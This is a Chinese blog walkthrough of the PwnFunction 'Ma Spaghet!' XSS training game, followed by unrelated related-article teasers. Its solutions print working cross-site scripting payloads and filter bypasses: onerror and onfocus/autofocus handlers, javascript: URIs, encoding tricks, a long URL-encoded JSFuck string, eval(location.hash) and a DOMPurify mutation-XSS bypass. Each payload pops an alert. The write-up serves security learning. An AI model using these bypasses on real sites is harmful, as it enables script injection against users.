demo型xss初级靶场
一、环境
XSS Game - Ma Spaghet! | PwnFunction
二、开始闯关
第一关
看看代码
试一下直接写
明显进来了为什么不执行看看官方文档吧
你不执行那我就更改单标签去使用呗
?somebody=<img%20src=1%20onerror="alert(1)">
防御：
innerText
第二关
看看源码：
考察一个基础的闭合
?jeff=1";alert(1)// 
第二种方法
?jeff="-alert(1337)-"
因为在html中-号是分隔符，跟第一种区别不大但是是一种新的做法
第三关
?wey=1" onclick="alert(1)很明显这种方法是可以触发的但是牵扯到用户交互违反了题意
因为它是一个input获取焦点的事件，所以我们可以利用onfocus获取焦点,再利用autofocus自动获取焦点，此题就可以解决
?wey=1" onfocus="alert(1)" autofocus="true最后的true可写可不写，写了就会长聚焦
结果
第四关
技巧:在action里面可以直接执行javascript伪协议
改变action的提交内容后，提交后直接会显示
?ricardo=javascript:alert(1)
第五关
源码：
我们先随便尝试输入一个值看一看
那就试着单标签报错看怎么样
?markassbrownlee=<img src=1 onerror=alert(1)>我们可以看到括号丢失了
我也尝试实体编码，一样也是不可以,当我尝试到url encode编码的时候可以了
markassbrownlee=<svg/onload=alert%26%2340%3B1%26%2341%3B>
那具体的逻辑是什么呢？
由于是在url encode地址栏去进行传参的，我们传递一个url encode编码后，地址栏会进行一个解码，解码以后会解成一个实体编码，之后进入程序，我们的过滤过滤不掉(1)这个实体编码，所以最终可以被解析为()最后实现我们的弹窗
第六关
源码：
绕过大小写
利用框架绕过：
JSFuck - Write any JavaScript with 6 Characters: []()!+
因为有+号正常无法执行，我们再次编码
ok，成功绕过
?balls=%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%28%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%2B%5B%21%5B%5D%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%2B%28%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%29%29%5B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%2B%5B%5D%29%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%28%2B%5B%5D%29%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%5D%5D%28%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%29%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%29%28%29%28%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%28%5B%2B%5B%5D%5D%2B%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%29
第七关
截取了0-50，很明显我们刚才那个方法不行了
代码漏洞，没有过滤常用的confitm函数
但是正常来说常用函数都过滤了这题考点也不在这里
而官方给的答案是
Function(/ALERT(1337)/.source.toLowerCase())()首先这个肯定是一个构造函数，通过source获取源码，后面转小写
前面的是alert？？？？为什么呢
eval(8680439..toString(30))(1337)原因：进制
为什么转成30？
因为alert中t是20位
30-20中间差了10，这刚好就是16进制的前十个数字
eval(location.hash.slice(1))而这里我们就理解为何了
location.hash获取的是url后面的值，后面加一个分隔函数slice，正好把#切掉，只留下了后面的部分
eval(location.hash.slice(1))
?mafia=eval(location.hash.slice(1))#alert(1)第八关
代码
DOMPurify防御用户输入框架，会把你的危险属性过滤完了
突破口
setTimeout(ok, 2000)这里使用一个dom clobbering称之为dom破坏技术
<a id=ok href=tel:alert(1337)>#作者提供的答案,感兴趣的话可以参考下面的文档<form><math><mtext></form><form><mglyph><style></math><img src onerror=alert(1)>DOM Clobbering (thespanner.co.uk)
相关文章：
demo型xss初级靶场
一、环境 XSS Game - Ma Spaghet! | PwnFunction 二、开始闯关 第一关 看看代码 试一下直接写 明显进来了为什么不执行看看官方文档吧 你不执行那我就更改单标签去使用呗 ?somebody<img%20src1%20onerror"alert(1)"> 防御： innerText 第二关…...
【推荐算法系列十八】：DSSM 召回算法
参考 推荐系统中 DSSM 双塔模型汇总（二更） DSSM 和 YouTubeDNN 都是比较经典的 U2I 模型。 U2I 召回 U2I 召回也就是 User-to-Item 召回，它基于用户的历史行为以及用户的一些个人信息，对系统中的候选物品进行筛选，挑…...
CNAN知识图谱辅助推荐系统
CNAN知识图谱辅助推荐系统 文章介绍了一个基于KG的推荐系统模型，代码也已开源，可以看出主要follow了KGNN-LS 。算法流程大致如下： 1. 算法介绍 算法除去attention机制外，主要的思想在于：user由交互过的item来表示、i…...
大数据经典面试例题
程序员的金三银四求职宝典 随着春天的脚步渐近，对于许多程序员来说，一年中最繁忙、最重要的面试季节也随之而来。金三银四，即三月和四月，被广大程序员视为求职的黄金时期。在这两个月里，各大公司纷纷开放招聘…...
软考56-上午题-【数据库】-数据库设计步骤2
一、回顾：数据库设计的步骤 1、用户需求分析：手机用户需求，确定系统边界； 2、概念设计（概念结构设计）：是抽象概念模型，较理想的是采用E-R方法。 3、逻辑设计：E-R图——…...
抖店入驻费用是多少？新手入驻都有哪些要求？2024费用明细！
我是电商珠珠 我做电商做了将近五年，做抖店做了三年多，期间还带着学员一起做店。 今天，就来给大家详细的讲一下在抖音开店，需要多少费用，最低需要投入多少。 1、营业执照200元左右 就拿个体店举例，在入…...
2024东南大学553复试真题及笔记
2023年真题知识点 引用指针 题目为 传递一个指针的引用做修改，输出指针指向的结果，但是指针被修改，结果就不一样了。 static 静态变量 类里面的静态成员变量，很简单的题目 for循环 看循环的内容输出字符串 try try catch捕…...
编程笔记 html5cssjs 096 JavaScript 前端开发（完结）
编程笔记 html5&css&js 096 JavaScript 前端开发 （完结） 一、前端开发二、范围三、价值四、在软件开发中地位总结 前端开发在软件开发生态系统中扮演着至关重要的角色。随着Web技术和移动互联网的发展，前端不再是简单的页面展示&…...
案例介绍：信息抽取技术在汽车销售与分销策略中的应用与实践
一、引言 在当今竞争激烈的汽车制造业中，成功的销售策略、市场营销和分销网络的构建是确保品牌立足市场的关键。作为一名经验丰富的项目经理，我曾领导一个专注于汽车销售和分销的项目，该项目深入挖掘市场数据，运用先进的信息抽取…...
几种常用的企业加密文件传输方式，最后一种更佳！
随着远程工作和云计算服务的广泛采用，企业必须实施有效的策略来保障敏感信息在传输过程中的安全性。本文将探讨企业在文件加密传输方面的几种常用策略，并重点介绍最后一种方式是如何利用其创新技术为企业提供数据传输的安全保障。 文件加密传输策略 企业…...
【全志D1-H 哪吒开发板】Debian系统安装调教和点灯指南
全志D1-H开发板【哪吒】使用Deabian系统入门 特别说明： 因为涉及到操作较多，博文可能会导致格式丢失 其中内容，会根据后续使用做优化调整 目录： 参考资料固件烧录启动调教点灯问题 〇、参考资料 官方资料 开发板-D1开发板【…...
Redis 8种基本数据类型及常用命令和数据类型的应用场景
小伙伴们好，欢迎关注，一起学习，无限进步 文章内容为学习的一些笔记及工作中遇到的一些问题 文章目录 Redis 五大数据类型keyStringListSetHashSorted Set 三种特殊类型Geospatial 地理位置HyperloglogBitmap Redis 五大数据类型 redis 官方网…...
JAVA内存模型与JVM内存结构
注意区分Java内存模型（Java Memory Model，简称JMM）与Jvm内存结构，前者与多线程相关，后者与JVM内部存储相关。本文会对两者进行简单介绍。 一、JAVA内存模型(JMM) 1. 概念 说来话长，由于在不同硬件厂商和…...
双导师的中国社科院与英国斯特灵大学创新与领导力博士
自1978年恢复高考之后，很长一段时间里我国的高校系统处于人才很匮乏的状态，那个时候很多高校招聘了大量硕士学历教师（其中很多人在留校后又读了在职博士），而且都是事业编制。那么接下来小编与中国社科院与英国斯特灵大…...
OpenXR 超详细的spec--API初始化介绍
3.API 初始化 3.1 Exported Functions 实现API loader的动态链接库(so/dll)必须export all core OpenXR API functions。然而application可以通过使用xrGetInstanceProcAddr()来获取指向extension函数的指针。 3.2 Function Pointers OpenXR所有函数的指针都可以通过函数xr…...
认识通讯协议——TCP/IP、UDP协议的区别，HTTP通讯协议的理解
目录 引出认识通讯协议1、TCP/IP协议，UDP协议的区别2、HTTP通讯协议的讲解 Redis冲冲冲——缓存三兄弟：缓存击穿、穿透、雪崩缓存击穿缓存穿透缓存雪崩 总结 引出 认识通讯协议——TCP/IP、UDP协议的区别，HTTP通讯协议的理解 认识通讯协议 …...
谈一谈工作中的前后端功能开发范围
在BS开发中，往往都是团队开发，分为前端和后端，往往经常会遇到此处功能是前端进行功能开发还是后端进行功能开发的讨论，本文以我自己的观点进行论述。 笔者的观点是： 功能实现的优先性：您强调，无…...
Kubernetes 学习总结（46）—— Pod 不停重启问题分析与解决
我们在做性能测试的时候，往往会发现我们的pod服务，频繁重启，通过kubectl get pods 命令，我们来逐步定位问题。 现象:running的pod，短时间内重启次数太多。 定位问题方法:查看pod日志 kubectl get event …...
Vulnhub靶机：Bellatrix
一、介绍 运行环境：Virtualbox 攻击机：kali（10.0.2.4） 靶机：Bellatrix（10.0.2.9） 目标：获取靶机root权限和flag 靶机下载地址：https://www.vulnhub.com/entry/hogwa…...
深入探讨 AutoGPT：彻底改变游戏的自主 AI
原文地址：Deep Dive into AutoGPT: The Autonomous AI Revolutionizing the Game 2023 年 4 月 24 日 AutoGPT 是一个功能强大的工具，它通过 API 使用 GPT-4 和 GPT-3.5，通过将项目分解为子任务并在自动循环中使用互联网和其他工具来创建完…...
Python爬虫实战：用Qwen2.5-VL智能解析网页图片内容
Python爬虫实战：用Qwen2.5-VL智能解析网页图片内容 1. 引言 你有没有遇到过这样的情况：爬取了大量网页图片，却要人工一张张查看内容？或者需要从海量图片中筛选出特定类型的商品、识别图中的文字信息？传统爬虫只能获取…...
Pixel Aurora Engine入门实战：用‘8-BIT RPG tavern interior’生成完整场景
Pixel Aurora Engine入门实战：用8-BIT RPG tavern interior生成完整场景 1. 认识Pixel Aurora引擎 Pixel Aurora是一款专为像素艺术创作设计的AI绘图工作站。它采用复古游戏机风格的界面设计，让用户仿佛在操作一台来自80年代的魔法游戏机。核心功能是将…...
Android 11 Settings功能裁剪实战：从PreferenceController到XML配置的完整流程解析
Android 11 Settings功能裁剪实战：从PreferenceController到XML配置的完整流程解析 在Android系统定制开发中，Settings应用的菜单项管理是一个高频需求场景。当我们需要隐藏或移除某些系统功能时（如打印服务、备份选项）࿰…...
zRenamer 1.9 批量重命名工具
一、软件背景 1. 核心痛点来源 日常文件管理中，用户长期面临批量重命名低效、混乱、易出错的核心痛点： 手动操作繁琐：零散文件（照片、文档、视频）命名无规则，手动修改数百个文件耗时极长，重复…...
OpenClaw隐私计算：千问3.5-9B处理加密数据技巧
OpenClaw隐私计算：千问3.5-9B处理加密数据技巧 1. 为什么需要加密数据自动化处理 作为金融行业的技术从业者，我经常需要处理包含客户信息的Excel报表和PDF合同。这些文件既需要被分析处理，又必须满足严格的合规要求——原始数据不能以明文形…...
Arthas实战：5分钟搞定MyBatis Mapper XML热更新（含完整脚本）
Arthas实战：5分钟搞定MyBatis Mapper XML热更新（含完整脚本） 在Java开发中，MyBatis作为一款优秀的持久层框架，其Mapper XML文件的修改往往需要重启应用才能生效。这种开发模式严重影响了开发效率，特别是在测…...
如何评估网站SEO优化的合理价格
如何评估网站SEO优化的合理价格 在当今数字化时代，网站的SEO优化已经成为提升网站流量和品牌知名度的关键因素。很多人在考虑投入网站SEO优化的时候，往往对其合理价格感到困惑。如何评估网站SEO优化的合理价格呢？本文将从多个角度为你详细解…...
YOLOv5推理时图片尺寸为啥变了？详解detect.py中letterbox函数的padding策略
YOLOv5推理时图像尺寸变化的底层机制解析：从letterbox函数到工程实践 当你第一次将19201080的高清视频帧送入YOLOv5模型时，控制台输出的640384尺寸可能让你眉头一皱——按照常规的宽高比缩放，640360才是预期结果。这个看似微小的差异背后&…...
Go Context 控制流与生命周期管理
Go Context 控制流与生命周期管理 在现代分布式系统中，控制流与生命周期管理是开发者必须面对的核心挑战之一。Go语言通过context包提供了一种优雅的解决方案，帮助开发者管理请求的取消、超时和跨协程的数据传递。无论是微服务调用、数据库查询还是HTTP…...
将软件需求“翻译”成硬件语言：一份让设计团队无法拒绝的黄金文档
该文章同步至公众号OneChan ——如何用硬件工程师的思维，赢得他们的尊重与代码 你提交的不是一份“需求清单”，而是一份“缺陷预防方案”和“效率提升指南”。 引言：一次代价高昂的“翻译失败” 数年前，我参与一个关键IP的开发。…...